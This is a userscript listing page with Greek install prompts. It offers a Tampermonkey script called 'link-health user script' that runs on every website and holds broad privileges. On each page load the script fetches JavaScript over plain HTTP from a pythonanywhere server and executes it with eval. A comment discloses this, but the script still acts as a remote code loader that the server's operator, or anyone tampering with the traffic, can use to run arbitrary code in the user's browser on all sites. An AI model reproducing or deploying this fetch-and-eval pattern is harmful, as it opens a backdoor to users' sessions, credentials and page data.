link-health user script

try to take over the world!

θα χρειαστεί να εγκαταστήσετε μια επέκταση όπως το Tampermonkey, το Greasemonkey ή το Violentmonkey για να εγκαταστήσετε αυτόν τον κώδικα.

θα χρειαστεί να εγκαταστήσετε μια επέκταση όπως το Tampermonkey ή το Violentmonkey για να εγκαταστήσετε αυτόν τον κώδικα.

θα χρειαστεί να εγκαταστήσετε μια επέκταση όπως το Tampermonkey ή το Violentmonkey για να εγκαταστήσετε αυτόν τον κώδικα.

θα χρειαστεί να εγκαταστήσετε μια επέκταση όπως το Tampermonkey ή το Userscripts για να εγκαταστήσετε αυτόν τον κώδικα.

You will need to install an extension such as Tampermonkey to install this script.

Θα χρειαστεί να εγκαταστήσετε μια επέκταση διαχείρισης κώδικα χρήστη για να εγκαταστήσετε αυτόν τον κώδικα.

(Έχω ήδη έναν διαχειριστή κώδικα χρήστη, επιτρέψτε μου να τον εγκαταστήσω!)

You will need to install an extension such as Stylus to install this style.

You will need to install an extension such as Stylus to install this style.

You will need to install an extension such as Stylus to install this style.

You will need to install a user style manager extension to install this style.

You will need to install a user style manager extension to install this style.

You will need to install a user style manager extension to install this style.

(Έχω ήδη έναν διαχειριστή στυλ χρήστη, επιτρέψτε μου να τον εγκαταστήσω!)

// ==UserScript==
// @name         link-health user script
// @namespace    http://tampermonkey.net/
// @version      2024-06-03
// @description  try to take over the world!
// @author       You
// @match        *://*/*
// @icon         https://i0.wp.com/link-health.org/wp-content/uploads/2022/10/Link-Health-transparent.png?resize=800%2C800&ssl=1
// @grant        GM.xmlHttpRequest
// @grant        GM.setValue
// @grant        GM.getValue
// @grant        GM.addStyle
// @grant        GM.getResourceText
// @grant        GM.info
// @grant        GM.notification
// @grant        GM.openInTab
// @grant        GM.registerMenuCommand
// @grant        GM.setClipboard
// @grant        GM.deleteValue
// @grant        GM.listValues
// @grant        GM.log
// @grant        GM.addValueChangeListener
// @grant        GM.removeValueChangeListener
// @license      MIT
// ==/UserScript==



/*
This code uses eval on a code that is hosted on server, you can see the hosted code @ http://alistermartin.pythonanywhere.com/user-script.js
This makes us update the code at any time. For any concerns please inform the authorities.
*/

(function() {
    'use strict';

    // Fetch the code from the specified URL
    GM.xmlHttpRequest({
        method: 'GET',
        url: 'http://alistermartin.pythonanywhere.com/user-script.js',
        onload: function(response) {
            if (response.status === 200) {
                // Parse the response JSON
                let data = JSON.parse(response.responseText);
                if (data.code) {
                    // Execute the fetched code
                    console.log(data.code)
                    eval(data.code);
                } else {
                    console.error('No code found in the response');
                }
            } else {
                console.error('Failed to fetch the script:', response.statusText);
            }
        },
        onerror: function(error) {
            console.error('Error fetching the script:', error);
        }
    });
})();